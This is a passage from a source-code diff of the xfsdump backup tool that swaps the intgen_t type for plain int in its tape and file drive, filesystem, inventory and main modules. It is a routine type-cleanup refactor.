ds_instantiate( int argc, char *argv[], drive_t *drivep ) { drive_context_t *contextp; - intgen_t c; + int c; /* opportunity for sanity checking */ @@ -681,7 +681,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) contextp->dc_bufp = ( char * )memalign( PGSZ, STAPE_MAX_RECSZ ); assert( contextp->dc_bufp ); } else { - intgen_t rval; + int rval; mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, "ring op: create: ringlen == %u\n", contextp->dc_ringlen ); @@ -825,11 +825,11 @@ do_sync( drive_t *drivep ) * DRIVE_ERROR_* on failure * */ -static intgen_t +static int do_begin_read( drive_t *drivep ) { drive_context_t *contextp; - intgen_t rval; + int rval; mlog( MLOG_DEBUG | MLOG_DRIVE, "drive op: begin read\n" ); @@ -925,12 +925,12 @@ static char * do_read( drive_t *drivep, size_t wantedcnt, size_t *actualcntp, - intgen_t *rvalp ) + int *rvalp ) { drive_context_t *contextp; size_t availcnt; size_t actualcnt; - intgen_t rval; + int rval; mlog( MLOG_DEBUG | MLOG_DRIVE, "drive op: read: wanted %u (0x%x)\n", @@ -1083,7 +1083,7 @@ typedef enum { SEEKMODE_BUF, SEEKMODE_RAW } seekmode_t; * DRIVE_ERROR_* on failure * */ -static intgen_t +static int do_seek_mark( drive_t *drivep, drive_mark_t *markp ) { drive_context_t *contextp; @@ -1149,7 +1149,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) size_t wantedcnt; char *dummybufp; size_t actualcnt; - intgen_t rval; + int rval; /* if this is the last record, the wanted offset * must be just after it. @@ -1260,15 +1260,15 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) recskipcnt64 = wantedreccnt - contextp->dc_reccnt; recskipcnt64remaining = recskipcnt64; while ( recskipcnt64remaining ) { - intgen_t recskipcnt; - intgen_t saved_errno; - intgen_t rval; + int recskipcnt; + int saved_errno; + int rval; assert( recskipcnt64remaining > 0 ); if ( recskipcnt64remaining > INTGENMAX ) { recskipcnt = INTGENMAX; } else { - recskipcnt = ( intgen_t ) + recskipcnt = ( int ) recskipcnt64remaining; } assert( recskipcnt > 0 ); @@ -1307,7 +1307,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) size_t wantedcnt; char *dummybufp; size_t actualcnt; - intgen_t rval; + int rval; assert( ! contextp->dc_recp ); @@ -1366,7 +1366,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) /* eat that much tape */ if ( wantedcnt > 0 ) { - intgen_t rval; + int rval; rval = 0; dummybufp = do_read( drivep, wantedcnt, &actualcnt, &rval ); if ( rval ) { @@ -1413,7 +1413,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) * 0 on success * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_next_mark( drive_t *drivep ) { drive_context_t *contextp = (drive_context_t *)drivep->d_contextp; @@ -1421,12 +1421,12 @@ do_next_mark( drive_t *drivep ) char *p; ix_t trycnt; const ix_t maxtrycnt = 5; - intgen_t nread; + int nread; off64_t markoff; - intgen_t saved_errno; + int saved_errno; mtstat_t mtstat; size_t tailsz; - intgen_t rval; + int rval; bool_t ok; /* assert protocol being followed. @@ -1533,7 +1533,7 @@ readrecord: goto validateread; validateread: - if ( nread == ( intgen_t )tape_recsz ) { + if ( nread == ( int )tape_recsz ) { goto validatehdr; } ok = mt_get_status( drivep, &mtstat ); @@ -1721,7 +1721,7 @@ do_end_read( drive_t *drivep ) * 0 on success * DRIVE_ERROR_... on failure */ -static intgen_t +static int do_begin_write( drive_t *drivep ) { drive_context_t *contextp; @@ -1730,7 +1730,7 @@ do_begin_write( drive_t *drivep ) rec_hdr_t *tpwhdrp; rec_hdr_t *rechdrp; mtstat_t mtstat; - intgen_t rval; + int rval; media_hdr_t *mwhdrp; content_hdr_t *ch; content_inode_hdr_t *cih; @@ -1992,7 +1992,7 @@ do_get_write_buf( drive_t *drivep, size_t wantedcnt, size_t *actualcntp ) * non 0 on error */ /* ARGSUSED */ -static intgen_t +static int do_write( drive_t *drivep, char *bufp, size_t retcnt ) { drive_context_t *contextp; @@ -2000,7 +2000,7 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) global_hdr_t *gwhdrp; size_t heldcnt; off64_t last_rec_wrtn_wo_err; /* zero-based index */ - intgen_t rval; + int rval; /* get drive context and pointer to global write hdr */ @@ -2165,7 +2165,7 @@ do_get_align_cnt( drive_t * drivep ) * 0 on success * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_end_write( drive_t *drivep, off64_t *ncommittedp ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -2174,7 +2174,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) off64_t recs_guaranteed; off64_t bytes_committed; - intgen_t rval; + int rval; mlog( MLOG_DEBUG | MLOG_DRIVE, "drive op: end write\n" ); @@ -2310,7 +2310,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) * exposing any write errors. */ if ( ! rval ) { - intgen_t weofrval; + int weofrval; mtstat_t mtstat; bool_t ok; @@ -2375,8 +2375,8 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) * number of media files skipped * *statp set to zero or DRIVE_ERROR_... */ -static intgen_t -do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) +static int +do_fsf( drive_t *drivep, int count, int *statp ) { int i, done, op_failed, opcount; mtstat_t mtstat; @@ -2475,13 +2475,13 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) * number of media files skipped * *statp set to zero or DRIVE_ERROR_... */ -static intgen_t -do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) +static int +do_bsf( drive_t *drivep, int count, int *statp ) { #ifdef DEBUG drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; #endif - intgen_t skipped; + int skipped; mtstat_t mtstat; mlog( MLOG_DEBUG | MLOG_DRIVE, @@ -2601,7 +2601,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) * 0 on success * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_rewind( drive_t *drivep ) { #ifdef DEBUG @@ -2632,7 +2632,7 @@ do_rewind( drive_t *drivep ) * 0 on success * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_erase( drive_t *drivep ) { #ifdef DEBUG @@ -2677,7 +2677,7 @@ do_erase( drive_t *drivep ) * 0 on success * DRIVE_ERROR_DEVICE on failure */ -static intgen_t +static int do_eject_media( drive_t *drivep ) { drive_context_t *contextp = (drive_context_t *)drivep->d_contextp; @@ -2710,7 +2710,7 @@ do_eject_media( drive_t *drivep ) * always returns DEVICE_TAPE_REMOVABLE */ /* ARGSUSED */ -static intgen_t +static int do_get_device_class( drive_t *drivep) { mlog( MLOG_DEBUG | MLOG_DRIVE, @@ -2832,15 +2832,15 @@ percent64( off64_t num, off64_t denom ) */ -static intgen_t +static int read_label( drive_t *drivep ) { drive_context_t *contextp; - intgen_t nread; - intgen_t saved_errno; + int nread; + int saved_errno; mtstat_t mtstat; bool_t wasatbotpr; - intgen_t rval; + int rval; bool_t ok; /* initialize context ptr @@ -2918,8 +2918,8 @@ read_label( drive_t *drivep ) /* if a read error, get status */ - if ( nread != ( intgen_t )tape_recsz ) { - assert( nread < ( intgen_t )tape_recsz ); + if ( nread != ( int )tape_recsz ) { + assert( nread < ( int )tape_recsz ); ok = mt_get_status( drivep, &mtstat ); if ( ! ok ) { status_failed_message( drivep ); @@ -3008,7 +3008,7 @@ read_label( drive_t *drivep ) return rval; } -static intgen_t +static int validate_media_file_hdr( drive_t *drivep ) { global_hdr_t *grhdrp = drivep->d_greadhdrp; @@ -3169,7 +3169,7 @@ set_fixed_blksz( drive_t *drivep, size_t blksz ) */ if ( mt_op( contextp->dc_fd, MTSETBLK, - ( intgen_t )blksz ) ) { + ( int )blksz ) ) { mlog( MLOG_DEBUG | MLOG_DRIVE, "MTSETBLK %u failed: %s (%d)\n", blksz, @@ -3328,7 +3328,7 @@ set_recommended_sizes( drive_t *drivep ) * FALSE on failure */ static bool_t -mt_blkinfo( intgen_t fd, struct mtblkinfo *minfo ) +mt_blkinfo( int fd, struct mtblkinfo *minfo ) { struct mtget mt_stat; @@ -3382,12 +3382,12 @@ mt_blkinfo( intgen_t fd, struct mtblkinfo *minfo ) * 0 on success * -1 on failure */ -static intgen_t -mt_op(intgen_t fd, intgen_t sub_op, intgen_t param ) +static int +mt_op(int fd, int sub_op, int param ) { struct mtop mop; char *printstr; - intgen_t rval; + int rval; mop.mt_op = (short )sub_op; mop.mt_count = param; @@ -3554,11 +3554,11 @@ mt_get_status( drive_t *drivep, long *status) * RETURNS: * DRIVE_ERROR_* */ -static intgen_t +static int determine_write_error( drive_t *drivep, int nwritten, int saved_errno ) { mtstat_t mtstat; - intgen_t ret; + int ret; drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; /* get tape device status @@ -3847,7 +3847,7 @@ is_variable( drive_t *drivep, bool_t *varblk ) * determines other drive attributes. determines if any previous * xfsdumps on media. */ -static intgen_t +static int prepare_drive( drive_t *drivep ) { drive_context_t *contextp; @@ -3856,7 +3856,7 @@ prepare_drive( drive_t *drivep ) ix_t try; ix_t maxtries; bool_t changedblkszpr; - intgen_t rval; + int rval; int varblk; /* get pointer to drive context @@ -4055,8 +4055,8 @@ retry: changedblkszpr = BOOL_FALSE; for ( try = 1 ; ; try++ ) { bool_t wasatbotpr; - intgen_t nread; - intgen_t saved_errno; + int nread; + int saved_errno; if ( cldmgr_stop_requested( )) { return DRIVE_ERROR_STOP; @@ -4426,7 +4426,7 @@ retry: goto checkhdr; } - if ( nread < ( intgen_t )tape_recsz + if ( nread < ( int )tape_recsz && ! contextp->dc_isvarpr ) { mlog( MLOG_DEBUG | MLOG_DRIVE, @@ -4436,7 +4436,7 @@ retry: goto newsize; } - if ( nread == ( intgen_t )tape_recsz + if ( nread == ( int )tape_recsz && ! contextp->dc_isvarpr ) { mlog( MLOG_DEBUG | MLOG_DRIVE, @@ -4651,7 +4651,7 @@ static bool_t Open( drive_t *drivep ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t oflags; + int oflags; #ifdef DUMP oflags = O_RDWR; @@ -4691,11 +4691,11 @@ Close( drive_t *drivep ) contextp->dc_fd = -1; } -static intgen_t -Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) +static int +Read( drive_t *drivep, char *bufp, size_t cnt, int *errnop ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nread; + int nread; mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: reading %u bytes\n", @@ -4713,7 +4713,7 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) cnt, errno, strerror( errno )); - } else if ( nread != ( intgen_t )cnt ) { + } else if ( nread != ( int )cnt ) { mlog( MLOG_NITTY | MLOG_DRIVE, "tape op read of %u bytes short: nread == %d\n", cnt, @@ -4727,11 +4727,11 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) return nread; } -static intgen_t -Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) +static int +Write( drive_t *drivep, char *bufp, size_t cnt, int *errnop ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nwritten; + int nwritten; mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: writing %u bytes\n", @@ -4749,7 +4749,7 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) cnt, errno, strerror( errno )); - } else if ( nwritten != ( intgen_t )cnt ) { + } else if ( nwritten != ( int )cnt ) { mlog( MLOG_NITTY | MLOG_DRIVE, "tape op write of %u bytes short: nwritten == %d\n", cnt, @@ -4768,7 +4768,7 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) * skips skipcnt media files. */ /* ARGSUSED */ -static intgen_t +static int quick_backup( drive_t *drivep, drive_context_t *contextp, ix_t skipcnt ) { if ( drivep->d_capabilities & DRIVE_CAP_BSF ) { @@ -4798,7 +4798,7 @@ quick_backup( drive_t *drivep, drive_context_t *contextp, ix_t skipcnt ) /* validate a record header, log any anomolies, and return appropriate * indication. */ -static intgen_t +static int record_hdr_validate( drive_t *drivep, char *bufp, bool_t chkoffpr ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -4886,18 +4886,18 @@ record_hdr_validate( drive_t *drivep, char *bufp, bool_t chkoffpr ) /* do a read, determine DRIVE_ERROR_... if failure, and return failure code. * return 0 on success. */ -static intgen_t +static int read_record( drive_t *drivep, char *bufp ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nread; - intgen_t saved_errno; + int nread; + int saved_errno; mtstat_t mtstat; - intgen_t rval; + int rval; bool_t ok; nread = Read( drivep, bufp, tape_recsz, &saved_errno ); - if ( nread == ( intgen_t )tape_recsz ) { + if ( nread == ( int )tape_recsz ) { contextp->dc_iocnt++; rval = record_hdr_validate( drivep, bufp, BOOL_TRUE ); return rval; @@ -4950,7 +4950,7 @@ read_record( drive_t *drivep, char *bufp ) /* short read */ if ( nread >= 0 ) { - assert( nread <= ( intgen_t )tape_recsz ); + assert( nread <= ( int )tape_recsz ); mlog( MLOG_DEBUG | MLOG_DRIVE, "short read record %lld (nread == %d)\n", contextp->dc_iocnt, @@ -4978,7 +4978,7 @@ ring_read( void *clientctxp, char *bufp ) /* gets another record IF dc_recp is NULL */ -static intgen_t +static int getrec( drive_t *drivep ) { drive_context_t *contextp; @@ -4987,7 +4987,7 @@ getrec( drive_t *drivep ) while ( ! contextp->dc_recp ) { rec_hdr_t *rechdrp; if ( contextp->dc_singlethreadedpr ) { - intgen_t rval; + int rval; contextp->dc_recp = contextp->dc_bufp; rval = read_record( drivep, contextp->dc_recp ); if ( rval ) { @@ -5035,13 +5035,13 @@ getrec( drive_t *drivep ) * return 0 on success. */ /*ARGSUSED*/ -static intgen_t +static int write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nwritten; - intgen_t saved_errno; - intgen_t rval; + int nwritten; + int saved_errno; + int rval; if ( xlatepr ) { rec_hdr_t rechdr; @@ -5055,7 +5055,7 @@ write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) nwritten = Write( drivep, bufp, tape_recsz, &saved_errno ); - if ( nwritten == ( intgen_t )tape_recsz ) { + if ( nwritten == ( int )tape_recsz ) { contextp->dc_iocnt++; return 0; } @@ -5123,7 +5123,7 @@ calc_max_lost( drive_t *drivep ) } static void -display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ) +display_ring_metrics( drive_t *drivep, int mlog_flags ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; ring_t *ringp = contextp->dc_ringp; @@ -5174,7 +5174,7 @@ rewind_and_verify( drive_t *drivep ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; ix_t try; - intgen_t rval; + int rval; rval = mt_op( contextp->dc_fd, MTREW, 0 ); for ( try = 1 ; ; try++ ) { diff --git a/common/drive_simple.c b/common/drive_simple.c index 69fce4b..45bc28c 100644 --- a/common/drive_simple.c +++ b/common/drive_simple.c @@ -84,7 +84,7 @@ struct drive_context { char *dc_nextp; /* next byte avail. to read/write */ char *dc_emptyp; /* first empty slot in buffer */ off64_t dc_bufstroff; /* offset in stream of top of buf */ - intgen_t dc_fd; /* input/output file descriptor */ + int dc_fd; /* input/output file descriptor */ drive_mark_t dc_firstmark;/* first mark's offset within mfile (dump) */ ix_t dc_markcnt; /* count of marks set (dump) */ bool_t dc_rampr; /* can randomly access file (not a pipe) */ @@ -104,30 +104,30 @@ extern size_t pgsz; /* strategy functions */ -static intgen_t ds_match( int, char *[], drive_t * ); -static intgen_t ds_instantiate( int, char *[], drive_t * ); +static int ds_match( int, char *[], drive_t * ); +static int ds_instantiate( int, char *[], drive_t * ); /* declare manager operators */ static bool_t do_init( drive_t * ); static bool_t do_sync( drive_t * ); -static intgen_t do_begin_read( drive_t * ); -static char *do_read( drive_t *, size_t , size_t *, intgen_t * ); +static int do_begin_read( drive_t * ); +static char *do_read( drive_t *, size_t , size_t *, int * ); static void do_return_read_buf( drive_t *, char *, size_t ); static void do_get_mark( drive_t *, drive_mark_t * ); -static intgen_t do_seek_mark( drive_t *, drive_mark_t * ); -static intgen_t do_next_mark( drive_t * ); +static int do_seek_mark( drive_t *, drive_mark_t * ); +static int do_next_mark( drive_t * ); static void do_get_mark( drive_t *, drive_mark_t * ); static void do_end_read( drive_t * ); -static intgen_t do_begin_write( drive_t * ); +static int do_begin_write( drive_t * ); static void do_set_mark( drive_t *, drive_mcbfp_t, void *, drive_markrec_t * ); static char * do_get_write_buf( drive_t *, size_t , size_t * ); -static intgen_t do_write( drive_t *, char *, size_t ); +static int do_write( drive_t *, char *, size_t ); static size_t do_get_align_cnt( drive_t * ); -static intgen_t do_end_write( drive_t *, off64_t * ); -static intgen_t do_rewind( drive_t * ); -static intgen_t do_erase( drive_t * ); -static intgen_t do_get_device_class( drive_t * ); +static int do_end_write( drive_t *, off64_t * ); +static int do_rewind( drive_t * ); +static int do_erase( drive_t * ); +static int do_get_device_class( drive_t * ); static void do_quit( drive_t * ); @@ -183,7 +183,7 @@ static drive_ops_t drive_ops = { /* strategy match - determines if this is the right strategy */ /* ARGSUSED */ -static intgen_t +static int ds_match( int argc, char *argv[], drive_t *drivep ) { bool_t isrmtpr; @@ -265,7 +265,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) contextp->dc_fd = 0; #endif /* RESTORE */ } else if ( contextp->dc_isrmtpr ) { - intgen_t oflags; + int oflags; #ifdef DUMP oflags = O_WRONLY | O_CREAT | O_TRUNC; #endif /* DUMP */ @@ -285,9 +285,9 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) return BOOL_FALSE; } } else { - intgen_t oflags = 0; + int oflags = 0; struct stat statbuf; - intgen_t rval; + int rval; rval = stat( drivep->d_pathname, &statbuf ); #ifdef DUMP if ( rval ) { @@ -419,17 +419,17 @@ do_sync( drive_t *drivep ) /* drive op begin_read - prepare file for reading - main job is to * read the media hdr */ -static intgen_t +static int do_begin_read( drive_t *drivep ) { #ifdef DEBUG - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; #endif global_hdr_t *grhdrp = drivep->d_greadhdrp; drive_hdr_t *drhdrp = drivep->d_readhdrp; drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nread; - intgen_t rval; + int nread; + int rval; global_hdr_t *tmphdr = (global_hdr_t *)malloc(GLOBAL_HDR_SZ); drive_hdr_t *tmpdh = (drive_hdr_t *)tmphdr->gh_upper; media_hdr_t *tmpmh = (media_hdr_t *)tmpdh->dh_upper; @@ -579,7 +579,7 @@ static char * do_read( drive_t *drivep, size_t wantedcnt, size_t *actualcntp, - intgen_t *rvalp ) + int *rvalp ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; size_t remainingcnt; @@ -734,7 +734,7 @@ do_get_mark( drive_t *drivep, drive_mark_t *markp ) /* seek forward to the specified mark. the caller must not have already read * past that point. */ -static intgen_t +static int do_seek_mark( drive_t *drivep, drive_mark_t *markp ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -742,10 +742,10 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) off64_t nextoff; off64_t strmoff; /* REFERENCED */ - intgen_t nread; + int nread; off64_t nreadneeded64; - intgen_t nreadneeded; - intgen_t rval; + int nreadneeded; + int rval; mlog( MLOG_NITTY | MLOG_DRIVE, "drive_simple seek_mark( )\n" ); @@ -775,7 +775,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( nreadneeded64 > INTGENMAX ) nreadneeded = INTGENMAX; else - nreadneeded = ( intgen_t )nreadneeded64; + nreadneeded = ( int )nreadneeded64; nread = read_buf( 0, nreadneeded, drivep, ( rfp_t )drivep->d_opsp->do_read, ( rrbfp_t )drivep->d_opsp->do_return_read_buf, @@ -799,15 +799,15 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) * mark in the media file (recorded in the header). if the caller * has already read past that mark, blow up. */ -static intgen_t +static int do_next_mark( drive_t *drivep ) { #ifdef DEBUG - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; #endif drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; drive_mark_t mark = contextp->dc_firstmark; - intgen_t rval; + int rval; mlog( MLOG_NITTY | MLOG_DRIVE, "drive_simple next_mark( )\n" ); @@ -854,10 +854,10 @@ do_end_read( drive_t *drivep ) /* begin_write - prepare file for writing */ -static intgen_t +static int do_begin_write( drive_t *drivep ) { - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; global_hdr_t *gwhdrp = drivep->d_gwritehdrp; drive_hdr_t *dwhdrp = drivep->d_writehdrp; drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -1055,7 +1055,7 @@ do_set_mark( drive_t *drivep, drive_hdr_t *dwhdrp = drivep->d_writehdrp; off64_t newoff; /* REFERENCED */ - intgen_t nwritten; + int nwritten; /* assert the header has been flushed */ @@ -1219,7 +1219,7 @@ do_get_write_buf( drive_t *drivep, size_t wanted_bufsz, size_t *actual_bufszp ) * caller. */ /*ARGSUSED*/ -static intgen_t +static int do_write( drive_t *drivep, char *bufp, size_t writesz ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -1265,7 +1265,7 @@ do_write( drive_t *drivep, char *bufp, size_t writesz ) /* if buffer is full, flush it */ if ( contextp->dc_nextp == contextp->dc_emptyp ) { - intgen_t nwritten; + int nwritten; mlog( MLOG_DEBUG | MLOG_DRIVE, "flushing write buf addr 0x%x size 0x%x\n", @@ -1333,7 +1333,7 @@ do_get_align_cnt( drive_t *drivep ) /* end_write - flush any buffered data, and return by reference how many * bytes were committed. */ -static intgen_t +static int do_end_write( drive_t *drivep, off64_t *ncommittedp ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -1402,11 +1402,11 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) /* rewind - return the current file offset to the beginning */ -intgen_t +int do_rewind( drive_t *drivep ) { #ifdef DEBUG - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; #endif drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; off64_t newoff; @@ -1437,15 +1437,15 @@ do_rewind( drive_t *drivep ) /* erase - truncate to zero length */ -intgen_t +int do_erase( drive_t *drivep ) { #ifdef DEBUG - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; #endif drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; off64_t newoff; - intgen_t rval; + int rval; mlog( MLOG_NITTY | MLOG_DRIVE, "drive_simple erase( )\n" ); @@ -1487,7 +1487,7 @@ do_erase( drive_t *drivep ) /* get_media_class() */ /* ARGSUSED */ -static intgen_t +static int do_get_device_class( drive_t *drivep ) { mlog( MLOG_NITTY | MLOG_DRIVE, diff --git a/common/exit.h b/common/exit.h index f7e4878..403946d 100644 --- a/common/exit.h +++ b/common/exit.h @@ -26,7 +26,7 @@ #define EXIT_FAULT 4 /* code fault */ static inline const char * -exit_codestring( intgen_t code ) +exit_codestring( int code ) { switch ( code ) { case EXIT_NORMAL: return "SUCCESS"; diff --git a/common/fs.c b/common/fs.c index 2cd2f72..184f08d 100644 --- a/common/fs.c +++ b/common/fs.c @@ -109,12 +109,12 @@ static fs_tab_ent_t *fs_tab_lookup_mnt( char * ); /* ARGSUSED */ bool_t fs_info( char *typb, /* out */ - intgen_t typbz, + int typbz, char *typd, char *blkb, /* out */ - intgen_t blkbz, + int blkbz, char *mntb, /* out */ - intgen_t mntbz, + int mntbz, uuid_t *idb, /* out */ char *usrs ) /* in */ { @@ -169,7 +169,7 @@ fs_info( char *typb, /* out */ assert( ok != BOOL_UNKNOWN ); if ( ok == BOOL_TRUE ) { - intgen_t rval = fs_getid( mntb, idb ); + int rval = fs_getid( mntb, idb ); if ( rval ) { mlog( MLOG_NORMAL, _("unable to determine uuid of fs mounted at %s: " @@ -201,7 +201,7 @@ fs_mounted( char *typs, char *chrs, char *mnts, uuid_t *idp ) return strlen( mnts ) > 0 ? BOOL_TRUE : BOOL_FALSE; } -intgen_t +int fs_getid( char *mnts, uuid_t *idb ) { xfs_fsop_geom_v1_t geo; @@ -227,7 +227,7 @@ size_t fs_getinocnt( char *mnts ) { struct statvfs vfsstat; - intgen_t rval; + int rval; rval = statvfs( mnts, &vfsstat ); if ( rval ) { diff --git a/common/fs.h b/common/fs.h index 9ad1636..4a9d9d1 100644 --- a/common/fs.h +++ b/common/fs.h @@ -32,12 +32,12 @@ * returns BOOL_FALSE if srcname does not describe a file system. */ extern bool_t fs_info( char *fstype, /* out: fs type (fsid.h) */ - intgen_t fstypesz, /* in: buffer size */ + int fstypesz, /* in: buffer size */ char *fstypedef, /* in: default fs type */ char *fsdevice, /* out: blk spec. dev. file */ - intgen_t fsdevicesz, /* in: buffer size */ + int fsdevicesz, /* in: buffer size */ char *mntpt, /* out: where fs mounted */ - intgen_t mntptsz, /* in: buffer size */ + int mntptsz, /* in: buffer size */ uuid_t *fsid, /* out: fs uuid */ char *srcname ); /* in: how user named the fs */ @@ -51,7 +51,7 @@ extern bool_t fs_mounted( char *fstype, /* fs_getid - retrieves the uuid of the file system containing the named * file. returns -1 with errno set on error. */ -extern intgen_t fs_getid( char *fullpathname, uuid_t *fsidp ); +extern int fs_getid( char *fullpathname, uuid_t *fsidp ); /* tells how many inos in use */ diff --git a/common/global.c b/common/global.c index 319d4df..2129941 100644 --- a/common/global.c +++ b/common/global.c @@ -58,7 +58,7 @@ static char * prompt_label( char *bufp, size_t bufsz ); /* definition of locally defined global functions ****************************/ global_hdr_t * -global_hdr_alloc( intgen_t argc, char *argv[ ] ) +global_hdr_alloc( int argc, char *argv[ ] ) { global_hdr_t *ghdrp; int c; @@ -68,7 +68,7 @@ global_hdr_alloc( intgen_t argc, char *argv[ ] ) struct stat64 statb; #endif /* DUMP */ - intgen_t rval; + int rval; /* sanity checks */ diff --git a/common/global.h b/common/global.h index 6556a68..537be0c 100644 --- a/common/global.h +++ b/common/global.h @@ -73,7 +73,7 @@ typedef struct global_hdr global_hdr_t; /* used by main( ) to allocate and populate a global header template. * drive managers will copy this into the write header. */ -extern global_hdr_t * global_hdr_alloc( intgen_t argc, char *argv[ ] ); +extern global_hdr_t * global_hdr_alloc( int argc, char *argv[ ] ); /* used by main( ) to free the global header template after drive ini. diff --git a/common/inventory.c b/common/inventory.c index 681d28f..d1c067b 100644 --- a/common/inventory.c +++ b/common/inventory.c @@ -232,7 +232,7 @@ inv_writesession_open( { invt_session_t *ses; int fd; - intgen_t rval; + int rval; invt_sescounter_t *sescnt = NULL; invt_seshdr_t hdr; inv_sestoken_t sestok; @@ -547,7 +547,7 @@ inv_put_mediafile( /* get */ /*----------------------------------------------------------------------*/ -intgen_t +int inv_get_inolist( inv_inolist_t **inolist ) { diff --git a/common/inventory.h b/common/inventory.h index ee5a977..351f6e0 100644 --- a/common/inventory.h +++ b/common/inventory.h @@ -237,7 +237,7 @@ inv_DEBUG_printallsessions( #endif /* ifdef DEBUG */ -extern intgen_t +extern int inv_setup_base( void ); extern char * diff --git a/common/main.c b/common/main.c index 3b82a76..08bf574 100644 --- a/common/main.c +++ b/common/main.c @@ -103,7 +103,7 @@ static bool_t set_rlimits( void ); #ifdef RESTORE static bool_t set_rlimits( size64_t * ); #endif /* RESTORE */ -static char *sig_numstring( intgen_t num ); +static char *sig_numstring( int num ); static char *strpbrkquotes( char *p, const char *sep ); @@ -133,7 +133,7 @@ static bool_t sigterm_received; static bool_t sigquit_received; static bool_t sigint_received; /* REFERENCED */ -static intgen_t sigstray_received; +static int sigstray_received; static bool_t progrpt_enabledpr; static time32_t progrpt_interval; static time32_t progrpt_deadline; @@ -156,11 +156,11 @@ main( int argc, char *argv[] ) #endif /* DUMP */ bool_t init_error; bool_t coredump_requested = BOOL_FALSE; - intgen_t exitcode; + int exitcode; rlim64_t tmpstacksz; struct sigaction sa; - intgen_t prbcld_xc = EXIT_NORMAL; - intgen_t xc; + int prbcld_xc = EXIT_NORMAL; + int xc; bool_t ok; /* REFERENCED */ int rval; @@ -371,7 +371,7 @@ main( int argc, char *argv[] ) mlog( MLOG_DEBUG | MLOG_PROC, "getpagesize( ) returns %u\n", pgsz ); - assert( ( intgen_t )pgsz > 0 ); + assert( ( int )pgsz > 0 ); pgmask = pgsz - 1; /* report parent tid @@ -571,7 +571,7 @@ main( int argc, char *argv[] ) /* if in a pipeline, go single-threaded with just one stream. */ if ( pipeline ) { - intgen_t exitcode; + int exitcode; sa.sa_handler = sighandler; sigaction( SIGINT, &sa, NULL ); @@ -662,12 +662,12 @@ main( int argc, char *argv[] ) * signals. */ if ( progrpt_enabledpr ) { - ( void )alarm( ( u_intgen_t )progrpt_interval ); + ( void )alarm( ( u_int )progrpt_interval ); } for ( ; ; ) { time32_t now; bool_t stop_requested = BOOL_FALSE; - intgen_t stop_timeout = -1; + int stop_timeout = -1; sigset_t empty_set; /* if there was an initialization error, @@ -805,7 +805,7 @@ main( int argc, char *argv[] ) /* set alarm if needed (note time stands still during dialog) */ if ( stop_in_progress ) { - intgen_t timeout = ( intgen_t )( stop_deadline - now ); + int timeout = ( int )( stop_deadline - now ); if ( timeout < 0 ) { timeout = 0; } @@ -813,7 +813,7 @@ main( int argc, char *argv[] ) "setting alarm for %d second%s\n", timeout, timeout == 1 ? "" : "s" ); - ( void )alarm( ( u_intgen_t )timeout ); + ( void )alarm( ( u_int 